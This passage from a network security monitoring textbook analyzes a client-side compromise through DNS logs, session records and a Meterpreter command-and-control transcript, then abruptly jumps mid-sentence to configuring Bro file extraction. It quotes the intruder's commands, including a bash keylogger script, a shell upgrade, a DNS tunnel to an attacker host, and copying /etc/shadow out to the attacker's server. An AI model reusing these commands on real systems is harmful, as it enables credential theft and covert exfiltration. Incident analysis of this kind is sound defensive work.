1363445036.498672 FVaYW5ltbNh 10.0.0.99 34482 203.0.113.8 53 udp 49394 0euase6eq\xc5v\xc1\xbfp2\xc5h\xdd\xd0kmv\xedt\xc2\xc7\xf8\xea2p\xdc\xe0\xcd\xef\xfd\ xc5t\xed8t\xc4yj\xd1\xdf9qn\xf8\xcf0\xd8\xd480\xe7\xc5\xda\xf97\xe5k.\xebb6\xd3gj\xc76\xdb\xe9\ xdbn\xce\xf1lv\xeb\xbdo\xdayn5gko\xc3tny9\xbf\xe5\xee\xce\xd3\xfb\xee\xc2bd\xd9zj\xbe\xe2z\ xf37\xbe\xcf\xbeh\xfd\xea\xfbe.\xecch\xd4k\xc2cgjqq\xf2\xe5\xd1mj\xcck6mg\xf5z\xc5\xe7sc\xeb\ xea\xfbsc\xe4\xeb\xf9\xe7xq\xd57\xd9t\xe3\xe3\xef\xc0m\xd7fh\xeav\xcc8dgs.r\xfd\xe9\xf8\xca\ xd3\xe9\xc4\xd4u\xect8z\xcc\xf2w\xecyy\xc3\xf7n5bq\xf9\xe1v\xc1e\xcdo\xc8z\xf53\xcecgpwy\xd7\ xfdr\xe5\xfae9iy\xe9\xebz7.practicalnsm.com 1 C_INTERNET 10 NULLu F F T F 0 1363444959.826628 FVaYW5ltbNh 10.0.0.99 34482 203.0.113.8 53 udp 53252 0iiafy\xf7\xdf\xdbw\xfa\xe3\xe1w\xe7u5\xd5auz\xbf\xe3\xd6\xe6\xd0\xf4u\xc0a\xe4\ xc3l\xdf\xe6\xe1\xf6\xe1\xe1\xbf\xf62c\xd6\xe6d\xe8\xcf\xe2m\xc4\xe3\xe8\xeeru\xe68\xcd\ xc8\xf4j.\xea\xf9ujb\xdau\xc0\xda\xf3\xef\xeb\xc5\xf9\xc4p\xbe\xee\xf6\xc1awd\xfc\xf2\xc5\ xd0\xfd\xf1\xc0f\xc5r\xe0\xc9\xecm\xdd\xd2\xe2l\xf0\xd8\xfc\xd8ct5\xc6\xfdt\xcce\xec\xf7z\ xea.z\xe5m\xfbr\xe9\xbe\xd2\xe7\xfd\xe3\xc6cu\xc2wtz\xeb\xe1uqk\xbf\xf2\xcb4\xe6v1w\xcei\xd8\ xca\xc8hmsg4qjzhkd\xe0u\xe4\xfa\xc7nitlk.\xbc\xeb\xdec\xe1\xc8l31yiz\xfd\xd1\xf8\xfdro\xd0\ xef3p\xccoql\xd9\xdb\xc5\xedt\xc2\xc1\xd5\xf2m\xfcq\xebm\xc2\xc8f\xf9x\xf8xikc\xc3wu\xdfcc. practicalnsm.com 1 C_INTERNET 10 NULLu F F T F 0 1363445003.696798 FVaYW5ltbNh 10.0.0.99 34482 203.0.113.8 53 udp 45003 0akazvdidx3\xf1bv\xf078w\xe20\xfd\xd0i\xc1\xe7d\xe2\xc5\xcd\xe3\xda7\xe0\xf9\xbf9\ xfdk\xefrxcn\xd5\xebue\xc6\xed\xbc\xc5b\xe2\xcc\xda\xd0\xc3\xe2\xbdij8.\xdf\xf3\xfa\xefy\xfd\ xc8yhm\xbe\xf77l\xc8\xdc\xe3\xe0\xca\xdeo\xc0\xf3\xcbam\xd1\xd2\xfdt\xd1i\xd7r\xea\xcbc3\xdc\ xee\xe5\xe04o\xd9\xce\xec8n\xf99w\xd8\xfcjnw.\xf2j\xe4\xf5\xf6\xeb\xc60\xf3hv\xf9\xc38s\xef\ xd5b\xe4\xc6\xc9\xc9g\xd38\xfbhy\xf5\xccxw\xc7\xd0a2ypsz\xca\xe3\xbd\xc8\xbd\xc6cy\xd2\xce\ xbf\xe0b\xd8\xc4\xc6i.cb1\xf4fqp\xce\xd4\xebb\xe9v\xfdk\xed\xc3\xce\xcf\xe5j\xf9u\xf4uyn\ xed\xe3o\xf6l\xd7zyrp\xf2\xfd5swrz\xe8\xe6\xd5\xe2\xd3iv\xf2m\xd2\xe9\xdb.practicalnsm.com 1 C_INTERNET 10 NULLu F F T F 0 Listing 11-4: Malicious entries in the Bro dns.log file

It looks as if someone is transporting data within hostnames in the practicalnsm.com domain. This appears to be a form of covert channel—an intruder is sending content via DNS records. The technique we’re observing is popular when defenders keep tight access controls on outbound traffic. If an attacker can query name servers, he can send data packaged as part of the hostnames he queries via DNS. (This is a low-bandwidth attack method because a limited number of bytes can be carried in a hostname. In fact, more than 65,000 DNS records in this particular Bro dns.log file are associated with this sort of activity.)

Checking Destination Ports So far, we’ve recognized that four IP addresses are involved in this particular intrusion. Two belong to Vivian’s Pets: 172.16.0.37 (in the wireless network), and 10.0.0.99 (in the internal network). Two belong to the intruder and sit on the Internet: 203.0.113.15 and 203.0.113.8. Figure 11-11 shows the positions of these IP addresses on the network. 246

Chapter 11

Intruder 1 203.0.113.15

Internet

Intruder 2 203.0.113.8

Tap Wireless Network

Tap

Laptop 172.16.0.37

NSM

Internal Network

Desktop 10.0.0.99

Figure 11-11: Participants in the intrusion

We decide to take another look at traffic involving 203.0.113.115, this time by querying ELSA for records and group by dstport (destination port). The results are shown in Figure 11-12.

Figure 11-12: ELSA displays a summary of dstport entries for 203.0.113.15.

Client-side Compromise

247

Records with 54056 as the destination port are associated with the Metasploit Meterpreter activity noted earlier. There is only one type of message for this activity; they are all Snort alerts, as shown in Figure 11-13.

Figure 11-13: ELSA displays a summary of Snort signatures for 203.0.113.15 and dstport 54056.

Turning to destination port 4444, we use a similar process with similar results. Figure 11-14 shows what ELSA returns when we examine records where port 4444 is the destination port and 203.0.113.15 is an IP address.

Figure 11-14: ELSA displays a summary of Snort signatures for 203.0.113.15 and dstport 4444.

It’s important to realize that these two destination ports are actually artifacts of packets being exchanged between the computers at 203.0.113.15 and 172.16.0.37. It may be difficult to recognize this because ELSA is summarizing information captured in Snort alerts and other formats. However, a quick check of the Argus session data makes it easy to understand this important connection, as shown in Listing 11-5. $ racluster -n -r /nsm/sensor_data/sovm-eth1/argus/2013-03-16.log - host 203.0.113.15 StartTime Flgs Proto SrcAddr Sport Dir DstAddr Dport TotPkts TotBytes State 14:16:48.724146 e tcp 172.16.0.37.60320 -> 203.0.113.15.8080u 19 3360 FIN 14:16:52.544555 e tcp 172.16.0.37.60321 -> 203.0.113.15.8080v 13 1790 FIN 14:16:52.735852 e tcp 172.16.0.37.60322 -> 203.0.113.15.8080w 27 16164 FIN 14:16:53.371660 e tcp 172.16.0.37.54056 -> 203.0.113.15.4444x 2802 834486 FIN Listing 11-5: Argus records for sessions involving 203.0.113.15

248

Chapter 11

This record shows that 172.16.0.37 connected to 203.0.113.15 four times, as shown in the four sessions. The first three sessions connected to port 8080 TCP at u, v, and w. The last session connected to port 4444 TCP x. We can examine these conversations via the full content data as well, and use Tshark to pay attention to the HTTP traffic to port 8080 TCP. Listing 11-6 shows that activity. $ tshark -t ad -n -r /nsm/sensor_data/sovm-eth1/dailylogs/2013-03-16/snort .log.1363441666 -R 'tcp.port==8080 and http' 2910 2013-03-16 14:16:48.727696 172.16.0.37 -> 203.0.113.15 HTTP 373 GET /healthcarenews HTTP/1.1 2912 2013-03-16 14:16:48.729359 203.0.113.15 -> 172.16.0.37 HTTP 200 HTTP/1.1 302 Moved 2914 2013-03-16 14:16:48.746910 172.16.0.37 -> 203.0.113.15 HTTP 374 GET /healthcarenews/ HTTP/1.1 2915 2013-03-16 14:16:48.752649 203.0.113.15 -> 172.16.0.37 HTTP 291 HTTP/1.1 200 OK (text/html) 2917 2013-03-16 14:16:48.897487 172.16.0.37 -> 203.0.113.15 HTTP 340 GET /favicon.ico HTTP/1.1 2918 2013-03-16 14:16:48.899164 203.0.113.15 -> 172.16.0.37 HTTP 335 HTTP/1.1 404 File not found (text/html) 2920 2013-03-16 14:16:48.905587 172.16.0.37 -> 203.0.113.15 HTTP 370 GET /favicon.ico HTTP/1.1 2921 2013-03-16 14:16:48.908271 203.0.113.15 -> 172.16.0.37 HTTP 335 HTTP/1.1 404 File not found (text/html) 2926 2013-03-16 14:16:52.560069 172.16.0.37 -> 203.0.113.15 HTTP 415 GET /healthcarenews/Exploit.jar.pack.gzu HTTP/1.1 2928 2013-03-16 14:16:52.719387 203.0.113.15 -> 172.16.0.37 HTTP 200 HTTP/1.1 302 Moved 2930 2013-03-16 14:16:52.722747 172.16.0.37 -> 203.0.113.15 HTTP 274 GET /healthcarenews/ HTTP/1.1 2932 2013-03-16 14:16:52.725372 203.0.113.15 -> 172.16.0.37 HTTP 291 HTTP/1.1 200 OKx (text/html) 2939 2013-03-16 14:16:52.738151 172.16.0.37 -> 203.0.113.15 HTTP 364 GET /healthcarenews/Exploit.jarv HTTP/1.1 2945 2013-03-16 14:16:53.022853 203.0.113.15 -> 172.16.0.37 HTTP 1138 HTTP/1.1 200 OKy (application/octet-stream) 2951 2013-03-16 14:16:53.037218 172.16.0.37 -> 203.0.113.15 HTTP 406 GET /healthcarenews/Exploit.jarw HTTP/1.1 2957 2013-03-16 14:16:53.056665 203.0.113.15 -> 172.16.0.37 HTTP 1138 HTTP/1.1 200 OKz (application/octet-stream) Listing 11-6: HTTP traffic from 172.16.0.37 to 203.0.113.15

Listing 11-6 contains several troublesome entries. Requests for Exploit .jar.pack.gz at u and Exploit.jar v w indicate the intruder’s code on the victim system is trying to retrieve additional software from the attacking system. The initial code running on the victim is a beachhead, and now it’s calling back home for reinforcements. Unfortunately for the victim, those packages are available and served upon order, as shown by the 200 OK responses x y z. This is another way to view activity that started the intrusion. However, we still need to know what happened after the attack succeeded. Client-side Compromise

249

Examining the Command-and-Control Channel From our previous analysis, we know that the intruder pivoted from victim 172.16.0.37 to 10.0.0.99, but we don’t know what he did on those two systems. Perhaps the traffic involving port 4444 TCP holds the answer. This could be the command-and-control channel, because it appears immediately after the connections to the malicious website. To analyze the suspected command-and-control channel, we generate a transcript for port 4444 traffic using the CapMe feature in ELSA. Click the Info button next to the record of interest involving port 4444 to get full content data. Figure 11-15 shows how to access CapMe.

Figure 11-15: Starting CapMe to generate a transcript for port 4444 traffic

Click the getPcap option, and then click OK, to display a new screen where we input credentials to access the sensor. Also, for this example, I needed to change the Sid Source entry from sancp to event to help CapMe find the right session. When I ran this query originally, CapMe did not find the session with the Sid Source as sancp. The session record was probably not loaded yet, so I used the event table to find the data of interest. This approach works only if there is an event (triggered by Snort or Suricata, for example) associated with the traffic. It’s safer to use the sancp table as long as the records have been loaded. You may need to wait a few minutes for the records to load. Figure 11-16 shows the CapMe data request interface. In this section, we will examine the resulting transcript. At 642KB, it’s quite large, and manually examining it for entries of interest is tedious, but doing so is our best way to determine what happened to the victim systems. We’ll look at excerpts from the transcript and what is happening at each point.

250

Chapter 11

Figure 11-16: Configuring CapMe to retrieve a transcript for port 4444 traffic

Initial Access The transcript begins with the standard header created by Sguil (which handles transcript creation for CapMe, in the background) as shown in Listing 11-7. The command-and-control channel is not a cleartext-based exchange as in previous examples, so be prepared for a lot of extraneous characters! Sensor Name: Timestamp: Connection ID: Src IP: Dst IP: Src Port: Dst Port: OS Fingerprint: OS Fingerprint:

sovm-eth1-1 2013-03-16 14:17:57 .sovm-eth1-1_210 172.16.0.37 (Unknown) 203.0.113.15 (Unknown) 54056 4444 172.16.0.37:54056 - UNKNOWN [S10:64:1:60:M1460,S,T,N,W6:.:?:?] (up: 4 hrs) -> 203.0.113.15:4444 (link: ethernet/modem)

DST: ...........-. DST: .........start..E(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V.. Listing 11-7: Standard transcript header created by Sguil

Next, the term meterpreter appears, as shown in Listing 11-8. We’ve already seen this in the Snort alerts, but the presence of the term here indicates we’re dealing with a Meterpreter component of the Metasploit framework.

Client-side Compromise

251

DST: java/util/Map.......7com/metasploit/meterpreter/MemoryBufferURLStreamHandler............. getFiles...java/lang/Class........java/lang/Object..... Listing 11-8: The meterpreter reference

As shown in Listing 11-9, next we see the term sysinfo, followed by what might be a hostname, wirubu32, and a Linux kernel version, Linux 3.5.0-25-generic (i386). The victim system appears to be a Linux i386 platform. SRC: .........."....stdapi_sys_config_sysinfo....)....53495413969516947426070095319226......... wirubu32....&....Linux 3.5.0-25-generic (i386)............. DST: Listing 11-9: System information

Next, we see the term desktop_screenshot, as shown in Listing 11-10, which is certainly suspicious. This is probably a command to acquire a screen capture of the victim’s desktop. ..Ji.......%....stdapi_ui_desktop_screenshot....)....53921668623768997177532920965755.......... ..2..I. .....j.x...}|T..0|&s..0..t.AS.u.`.F..I'..2.Q&..k&..`.4M)R.AZ'.....v.i.Gm...../ [...V..@[email protected]...{.{..{.ym..g.}.^{. Listing 11-10: The desktop_screenshot command for getting screen captures

This second appearance of a desktop_screenshot command is followed by a JFIF string, as shown in Listing 11-11. This is probably the header for a JPEG File Interchange Format ( JFIF) file. SRC: ..........%....stdapi_ui_desktop_screenshot....)....53921668623768997177532920965755.. ..w..........JFIF.............C...... Listing 11-11: JFIF reference

The excerpt in Listing 11-12 shows the net_config_get_interfaces and net_config_get_routes functions. The intruder is probably listing network interfaces and routes on the victim system to see where he sits on the network. DST: ...Z.......)....stdapi_net_config_get_interfaces....)....90005067652712330016895656875088. SRC: . SRC: ..j.......)....stdapi_net_config_get_interfaces....)....90005067652712330016895656875088.. ...............@..........|...........z....................eth0 eth0...................)..8.............@.......................%........... .....@..........|[email protected] - lo....................................... .................................. DST: ...V.......%....stdapi_net_config_get_routes....)....34295947967733618834188710122897.

252

Chapter 11

SRC: . SRC: ..Z.......%....stdapi_net_config_get_routes....)....34295947967733618834188710122897..... ...........P@.....................)..8.....................................................,@ .............. Listing 11-12: The net_config_get_interfaces and net_config_get_routes functions

The getwd command in Listing 11-13 probably means to get the working directory, followed by a mention of the /home/ubu32 directory. %...........................P@...... ........................................................................,@..................... .................. DST: ...I............stdapi_fs_getwd....)....55282344159994215019998291531526. SRC: . SRC: ..i............stdapi_fs_getwd....)....55282344159994215019998291531526........./home/ ubu32............. Listing 11-13: The getwd command and /home/ubu32 reference

Listing 11-14 shows the most interesting entry so far. The string keylog .sh indicates that a keylogger is involved. If the intruder can capture keystrokes on the victim, he can access all sorts of information and potentially other systems. Following the name of the script appears to be the script itself, as well as the name of the file used to save the logged keystrokes: /tmp/.xkey.log. With this information, we could look for the file on the victim hard drive, assuming the intruder didn’t delete it or the system didn’t remove it after rebooting. DST: ................core_channel_open....)....64467327797845790259721795802753........3std api_fs_file........6........................keylog.sh.........wbb. SRC: . SRC: ..c............core_channel_open....)....64467327797845790259721795802753........2....... ......... DST: ................core_channel_write....)....05544054210663822153934887650143........2..... ..X...4#!/bin/bash DST: export DISPLAY=:0.0 DST: xinput list DST: echo -e "KBD ID ?" DST: read kbd DST: xmodmap -pke > /tmp/.xkey.log DST: script -c "xinput test $kbd" | cat >> /tmp/.xkey.log & DST: echo "The keylog can be downloaded from /tmp/.xkey.log" DST: echo "Use the meterpreter download function" DST: echo "Press CTLR+C to exit this session, keylogger will run in background" Listing 11-14: Keylogger references

The intruder appears to run an ls -al command next. (Listing 11-15 shows only part of the output, although all of it was present in the transcript.)

Client-side Compromise

253

DST: ...s............core_channel_write....)....27069574503151630704223424155348........2...... .....4ls -al DST: ............ SRC: . SRC: ..d............core_channel_write....)....27069574503151630704223424155348............... .......... SRC: . SRC: ..............2.......W...4total 164 SRC: drwxr-xr-x 24 ubu32 ubu32 4096 Mar 16 10:22 . SRC: drwxr-xr-x 3 root root 4096 Mar 8 21:00 .. SRC: -rw------- 1 ubu32 ubu32 4447 Mar 16 08:17 .bash_history SRC: -rw-r--r-- 1 ubu32 ubu32 220 Mar 8 21:00 .bash_logout SRC: -rw-r--r-- 1 ubu32 ubu32 3486 Mar 8 21:00 .bashrc SRC: drwx------ 15 ubu32 ubu32 4096 Mar 16 06:29 .cache SRC: drwxrwxr-x 3 ubu32 ubu32 4096 Mar 15 08:52 .compiz-1 SRC: drwx------ 11 ubu32 ubu32 4096 Mar 16 09:34 .config SRC: drwx------ 3 ubu32 ubu32 4096 Mar 8 21:34 .dbus SRC: drwxr-xr-x 2 ubu32 ubu32 4096 Mar 8 21:34 Desktop SRC: -rw-r--r-- 1 ubu32 ubu32 26 Mar 16 09:08 .dmrc SRC: drwxr-xr-x 2 ubu32 ubu32 4096 Mar 8 21:34 Documents Listing 11-15: An ls -al command

The next command, mv keylog.sh .pulse, shows the intruder moving his keylogger script into the .pulse directory, as shown in Listing 11-16. Next, he changes the user permissions to rwx, for read-write-execute. DST: ................core_channel_write....)....64553530986314682019983298603129........2...... .....4mv keylog.sh .pulse DST: ................core_channel_write....)....60405588103478885840826252268236........2...... .....4chmod u=rwx keylog.sh DST: ............ SRC: . SRC: ..d............core_channel_write....)....60405588103478885840826252268236............... .......... Listing 11-16: The mv keylog.sh .pulse command and rxw permissions

Here, the intruder appears to execute his keylog.sh script. (The output of the script follows in Listing 11-17.) This script gives the intruder a chance to select the keyboard to monitor and reminds him to look in the /tmp/.xkey.log directory for results. DST: ...x............core_channel_write....)....75957044127671614064150081298305........2...... .....4./keylog.sh DST: ............ SRC: . SRC: ..d............core_channel_write....)....75957044127671614064150081298305............... .......... SRC: . SRC: ..............2...........4... Virtual core pointer .id=2.[master pointer (3)]

254

Chapter 11

SRC: ... ... Virtual core XTEST pointer .id=4.[slave pointer (2)] SRC: ... ... VMware VMware Virtual USB Mouse .id=7.[slave pointer (2)] SRC: ... ... VMware VMware Virtual USB Mouse .id=8.[slave pointer (2)] SRC: ... ... ImPS/2 Generic Wheel Mouse .id=10.[slave pointer (2)] SRC: ... Virtual core keyboard .id=3.[master keyboard (2)] SRC: ... Virtual core XTEST keyboard .id=5.[slave keyboard (3)] SRC: ... Power Button .id=6.[slave keyboard (3)] SRC: ... AT Translated Set 2 keyboard .id=9.[slave keyboard (3)] SRC: ....................core_channel_write....)....SRREVPPXSOANPPYWFQHSVCNMFFBJBMMJ....u...... .....2...........4KBD ID ? SRC: ....................core_channel_write....)....NBVSIORNAUEQNTEQFFFCJMHXSAEMNQNA. DST: ...n............core_channel_write....)....45042497071271683260243072775318........2..... .. DST: ...49 DST: ............ SRC: . SRC: ..d............core_channel_write....)....45042497071271683260243072775318............... .......... SRC: . SRC: ..............2...........4The keylog can be downloaded from /tmp/.xkey.log SRC: Use the meterpreter download function SRC: Press CTLR+C to exit this session, keylogger will run in backround Listing 11-17: The keylog.sh script and reminder

Next, we see evidence that the intruder transferred a file called iodine_0.6.0~rc1-7_i386.deb from 203.0.113.15 to 172.16.0.37, as shown in Listing 11-18. This appears to be a Debian package of the Iodine covert DNS tunnel tool. The intruder must have used this tool to create the tens of thousands of unusual DNS entries discussed earlier. DST: ................core_channel_open....)....32392496134731212115385138997235........3std api_fs_file........6...................$....iodine_0.6.0~rc1-7_i386.deb.........wbb. Listing 11-18: The iodine_0.6.0~rc1-7_i386.deb reference

Improving the Shell The next command is fascinating, as shown in Listing 11-19. By running python -c 'import pty;pty.spawn("/bin/bash")', the intruder improves the shell he is using on the victim system by starting a Bash shell. By using Python to start a Bash shell, he creates a shell that can prompt the user and accept replies. (When an intruder opens a shell with Meterpreter, he may not have access that allows him to enter passwords when prompted. This is a problem when trying to run sudo or answer any other command that prompts the user.) DST: ................core_channel_write....)....07078092619529470178701062926304........2...... .6...4python -c 'import pty;pty.spawn("/bin/bash")' Listing 11-19: Bash shell startup

Client-side Compromise

255

Continuing through the transcript reveals the reason for the Bash shell. The intruder uses scp, as shown in Listing 11-20, to transfer (via SSH) the iodine_0.6.0~rc1-7_i386.deb package from 172.16.0.37 to 10.0.0.99 as user ubu32. How does the intruder have the password to log in to 10.0.0.99? He probably captured it with his keylogger. DST: ................core_channel_write....)....28332839019310295629231957979483........2...... .=...4scp iodine_0.6.0~rc1-7_i386.deb [email protected]:/tmp Listing 11-20: Transfer of the iodine_0.6.0~rc1-7_i386.deb package

Summarizing Stage 1 At this point, the intruder has taken several steps involving one victim system, as summarized in Figure 11-17. He enticed a user to click a malicious link posted to Twitter. That link pointed to a URL involving 203.0.113.15, and the victim 172.16.0.37 visited a web server on the intruder’s system. That malicious web server offered code that exploited a vulnerable Java instance on 172.16.0.37. The payload delivered with the Java exploit caused the victim to reach back again to 203.0.113.15 to retrieve more attack software from the intruder. 1. Victim clicks on malicious URL on Twitter. SOCIAL MEDIA OR OTHER COMMUNICATION Victim 172.16.0.37

Twitter

2. Victim web browser connects to 203.0.113.15:8080/healthcarenews. NETWORK CONNECTION Intruder 1 203.0.113.15

Victim 172.16.0.37

3. Attack method exploits vulnerable Java software on victim system to execute code.

Exploited

4. Malicious code causes victim to reach back to intruder so intruder can retrieve more malicious software. NETWORK CONNECTION Intruder 1 203.0.113.15

Figure 11-17: A summary of stage 1 of the client-side compromise

256

Chapter 11

Victim 172.16.0.37

Pivoting to a Second Victim Next, as shown in Listing 11-21, it appears that the intruder is connecting from the first victim, 172.16.0.37, via SSH as user ubu32 to a second victim, 10.0.0.99. This is followed by the login prompt on 10.0.0.99, another Linux system that’s running the same kernel. It advertises itself as an Ubuntu 12.0.4.2 LTS distribution. DST: ................core_channel_write....)....21495256091063571385331835436694........2...... .....4ssh [email protected] SRC: ..U...........2...........4Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-25-generic i686) SRC: SRC: * Documentation: https://help.ubuntu.com/ SRC: SRC: 0 packages can be updated. SRC: 0 updates are security updates. Listing 11-21: Ubuntu connection to another victim

By running sudo bash, as shown in Listing 11-22, the intruder escalates his access to root privileges. DST: ...v............core_channel_write....)....29459743353766825927232004106327........2...... .....4sudo bash DST: ........... DST: SRC: . SRC: ..d............core_channel_write....)....29459743353766825927232004106327............ SRC: ............ SRC: ...w...........2...........4sudo bash SRC: ....................core_channel_write....)....UJUHVDEWIYIKWPCUMRTWODZUIDRXEMKG. SRC: . SRC: ..............2.......#...4[sudo] password for ubu32: ....................core_channel_ write....)....JTCKKYYZSXEFTWGOEWDZKWHCOLJYUWZG. DST: ...v............core_channel_write....)....56755805437825017718244048581240........2...... .....4wonderubu Listing 11-22: Access escalation with sudo bash

Installing a Covert Tunnel As root, the intruder now installs the Iodine DNS covert tunnel tool via dpkg -i iodine_0.6.0~rc1-7_i386.deb, as shown in Listing 11-23. DST: ................core_channel_write....)....64642638366982677090891088802167........2...... .,...4dpkg -i iodine_0.6.0~rc1-7_i386.deb Listing 11-23: Iodine DNS covert tunnel tool installation

Client-side Compromise

257

Next, we see that the intruder starts the Iodine tool with the command iodine -r 203.0.113.8 practicalnsm.com, as shown in Listing 11-24. He is start-

ing the Iodine client, pointing it to a server at 203.0.113.8, with DNS traffic using the practicalnsm.com domain. (I wonder who caused this intrusion?) Because the attacker initiates Iodine in this manner, it looks like the victim, 10.0.0.99, will communicate directly with an Iodine server at 203.0.113.8. (There is no need to communicate with a DNS server when Iodine is run in this manner, but the covert traffic will still appear as DNS.) DST: ................core_channel_write....)....54112282595894012391779534721588........2...... ./...4iodine -r 203.0.113.8 practicalnsm.com Listing 11-24: Iodine tool startup

Listing 11-25 likely shows output received from the Iodine server. We see that the server IP address is 10.10.0.1, which tells us that there is a VPN sort of channel between 10.0.0.99 and 203.0.113.8. Now the two computers can communicate with each other via IP addresses like 10.10.0.1 for the server, rather than 203.0.113.8. (The Iodine tool encapsulates the intruder’s communications in DNS traffic.) SRC: ....................core_channel_write....).... WXQSRQPTXGMIWNZFNDHOHWTCFEJDDKUF................2.......:...4Server tunnel IP is 10.10.0.1 Listing 11-25: Output from the Iodine server

To test connectivity, the intruder uses the ping utility to contact 10.10.0.1, the IP address at the other end of the tunnel, as shown in Listing 11-26. The remote system replies, and the tunnel is working. An NSM sensor will not see ICMP traffic, but it will start seeing odd DNS activity. SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC: SRC:

...............2...........4ping -c 3 10.10.0.1 ....................core_channel_write....)....BGCEPMSGLBOFCPOHKXSKOAMVWVCRDKFU. . ..............2.......:...4PING 10.10.0.1 (10.10.0.1) 56(84) bytes of data. ...........2........core_channel_write....)....GSFTPZWPJXAREZEXEEALKFUBCUSRLPEK. . ..............2.......A...464 bytes from 10.10.0.1: icmp_req=1 ttl=64 time=2.07 ms ...........9........core_channel_write....)....MUNJGYKCWWYETWKFZOWTIVKVAQNLKNCQ. . ..............2.......A...464 bytes from 10.10.0.1: icmp_req=2 ttl=64 time=1.15 ms ...........9........core_channel_write....)....JLCWSBHPCCBTZFUVTJUYBYQVUOXEZPPF. . ..Q...........2...........464 bytes from 10.10.0.1: icmp_req=3 ttl=64 time=1.12 ms --- 10.10.0.1 ping statistics --3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 1.128/1.453/2.073/0.439 ms

Listing 11-26: Ping test for tunnel connectivity

258

Chapter 11

Enumerating the Victim Now the intruder turns to enumerating the victim. He prints the output of the /etc/shadow file, which contains password hashes. Listing 11-27 shows part of this file. SRC: root@intubu32:~# ....................core_channel_write....).... LBTPOVHNRBVNFEXWLPWAAXXSYKEYJQMW. DST: ...|............core_channel_write....)....76703429583552950498014447957238........2...... .....4cat /etc/shadow DST: ............ SRC: . SRC: ..d............core_channel_write....)....76703429583552950498014447957238............... .......... SRC: ...............2...........4cat /etc/shadow SRC: root:!:15773:0:99999:7::: SRC: daemon:*:15749:0:99999:7::: SRC: bin:*:15749:0:99999:7::: SRC: sys:*:15749:0:99999:7::: SRC: sync:*:15749:0:99999:7::: SRC: games:*:15749:0:99999:7::: SRC: man:*:15749:0:99999:7::: SRC: lp:*:15749:0:99999:7::: Listing 11-27: Contents of the /etc/shadow file

As shown in Listing 11-28, the intruder uses scp to copy the /etc/shadow file to 10.10.0.1, the server on the other side of the Iodine covert channel. He connects as user raybourque and copies the file to Ray’s home directory. His password is Bru1ns. I like this guy. (Note that by using scp, the transfer is encrypted within the DNS covert channel.) SRC: [email protected] /etc/shadow [email protected]:/home/raybourque/ DST: ...s............core_channel_write....)....12979532812626493965961252667084........2...... .....4Bru1ns SRC: shadow 100% 1121 1.1KB/s 00:00 Listing 11-28: Copying the /etc/shadow file

The intruder next creates a recursive directory listing of the entire hard drive and puts the contents in a file titled intubu32.ls-alR.txt, as shown in Listing 11-29. DST: ................core_channel_write....)....67917540968083609031577076644751........2.... ...(...4ls -alR / > intubu32.ls-alR.txt Listing 11-29: Creating a recursive directory listing of the hard drive

After creating the file, the intruder again uses scp to transfer it to his server as user raybourque, as shown in Listing 11-30.

Client-side Compromise

259

SRC: ..............2...........4scp intubu32.ls-alR.txt [email protected]:/home/raybourque SRC: checkv manager is ok. proxy is ok. sov-eth0-1 is ok. [BroControl] > installw removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site ... done. removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto ... done. creating policy directories ... done. installing site policies ... done. generating cluster-layout.bro ... done. generating local-networks.bro ... done.

Extending SO

275

generating broctl-config.bro ... done. updating nodes ... done. [BroControl] > restartx stopping ... stopping sov-eth0-1 ... stopping proxy ... stopping manager ... starting ... starting manager ... starting proxy ... starting sov-eth0-1 ... . [BroControl] > exity Listing 12-16: Reconfiguring Bro using broctl

In Listing 12-16, broctl is started u from a terminal that launches the broctl interface and accepts commands. Next, we run the check command v to determine if the configuration files Bro reads are formatted properly. If so, Bro reports the status as ok, and we install them w. Next, we restart Bro x, and after seeing the components restart, we exit the broctl interface y. The last step is to confirm Bro’s status using the NSM scripts shipped with SO, as shown in Listing 12-17. (You could do the same thing with the sudo broctl status command.) $ sudo nsm_sensor_ps-status --only-bro Status: Bro Name Type Host Status manager manager 192.168.2.102 running proxy proxy 192.168.2.102 running sov-eth0-1 worker 192.168.2.102 running Status: sov-eth0

Pid

Peers 19555 2 19603 2 19647 2

Started 18 Apr 00:29:37 18 Apr 00:29:40 18 Apr 00:29:42

Listing 12-17: Confirming Bro status using NSM scripts

According to the output of the nsm_sensor_ps-status --only-bro command, Bro is running properly with the new configuration. To test the live configuration, we’ll download another executable and watch for entries in the Bro logs. Listing 12-18 shows commands to test the new functionality on a production SO sensor configured to extract Windows executables. $ wget http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exeu --2013-04-18 00:44:06-- http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exe Resolving www.etree.org (www.etree.org)... 152.19.134.46 Connecting to www.etree.org (www.etree.org)|152.19.134.46|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 49152 (48K) [application/octet-stream] Saving to: `md5sum.exe'

276

Chapter 12

100%[======================================>] 49,152

--.-K/s

in 0.1s

2013-04-18 00:44:07 (398 KB/s) - `md5sum.exe' saved [49152/49152]

$ grep md5sum.exe /nsm/bro/logs/current/*v /nsm/bro/logs/current/http_eth0.log:1366245846.879854 8AwBGe9EpX 192.168.2.102 55409 152.19.134.46 80 1 GET www.etree.org /cgi-bin/counter.cgi/software/md5sum. exew Wget/1.13.4 (linux-gnu) 0 49152 200 OK (empty) application/x-dosexecx eb574b236133e60c989c6f472f07827by /nsm/bro/extracted/http/http-item_192.168.2.102:55409-152.19.134.46:80_resp_1.datz /nsm/bro/logs/current/notice.log:1366245847.087877 8AwBGe9EpX 192.168.2.102 55409 152.19.134.46 80 tcp HTTP::MD5 192.168.2.102 eb574b236133e60c989c6f472f07827b{ http://www.etree.org/cgi-bin/counter.cgi/software/md5sum. exe| eb574b236133e60c989c6f472f07827b 192.168.2.102 152.19.134.46 80 sov-eth0-1 Notice::ACTION_LOG 6 3600.000000 F Listing 12-18: Testing the new file extraction capability

Listing 12-18 shows two commands to validate Windows executable extraction on a production sensor. First, we download a Windows executable called md5sum.exe using the wget tool u. Once the download is complete, we use grep to look for instances of the string md5sum in the current Bro logs v. There are two results: • •

The first, from http.log, shows the download of the file w, file type x, MD5 hash y, and path to the extracted binary z. The second, from notice.log, reproduces many of the same elements from earlier examples, like the MD5 hash { and URL for the binary |.

